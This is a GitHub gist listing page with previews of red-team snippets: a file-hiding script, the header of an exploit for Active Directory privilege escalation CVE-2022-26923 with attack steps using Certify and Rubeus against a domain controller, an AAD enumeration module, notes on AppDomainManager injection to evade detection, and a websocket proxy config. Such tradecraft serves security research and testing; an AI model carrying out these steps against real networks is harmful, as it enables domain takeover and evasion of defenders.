Skip to content

Instantly share code, notes, and snippets.

View ZephrFish's full-sized avatar
🌐
Building tools and tradecraft to help red and blue

Andy ZephrFish

🌐
Building tools and tradecraft to help red and blue
View GitHub Profile
@yosignals
yosignals / Folding.py
Created April 15, 2024 14:09
Hiding Files in Folders ... names
import os
import argparse
import hashlib
def file_to_hex(filename):
"""Convert file content to a hex string."""
with open(filename, 'rb') as file:
content = file.read()
return content.hex(), content
@dmchell
dmchell / Program.cs
Created May 12, 2022 10:41
Exploit for Active Directory Domain Privilege Escalation (CVE-2022–26923)
// Exploit for Active Directory Domain Privilege Escalation (CVE-2022–26923)
// Author: @domchell - MDSec
// This exploit can be used to update the relveant AD attributes required to enroll in a machine template as any machine in AD using an existing machine account
// Adjusting MS-DS-Machine-Account-Quota is not sufficient to stop this attack :)
// Steps:
// 1. Escalate on any workstation (hint: krbrelayup ftw)
// 2. Execute UpdateMachineAccount.exe as SYSTEM
// 3. Enroll in machine template e.g. (Certify.exe request /ca:"ca.evil.corp\\CA" /template:Computer /machine /subject:CN=dc.evil.corp
// 4. Request a TGT using the certificate e.g. (Rubeus.exe asktgt /user:dc$ /domain:evil.corp /dc:dc.evil.corp /certificate:<base64 cert> /enctype:AES256)
@benpturner
benpturner / GetAadJoinInformation.cs
Created April 20, 2021 19:37
GetAadJoinInformation C# Module
using System;
using System.Collections.Generic;
using System.Management;
using System.DirectoryServices;
using System.DirectoryServices.ActiveDirectory;
using System.Text;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Collections;
using System.Runtime.InteropServices;
@djhohnstein
djhohnstein / _notes.md
Created March 12, 2020 02:34
AppDomainManager Injection

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

@olegbuevich
olegbuevich / .htaccess
Created January 17, 2018 14:25
.htaccess proxy nodejs app with websockets
# a2enmod proxy_wstunnel
RewriteEngine On
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteCond %{QUERY_STRING} transport=websocket [NC]
RewriteRule ^(.*) ws://localhost:10081/$1 [P]
RewriteRule ^(.*) http://localhost:10081/$1 [P]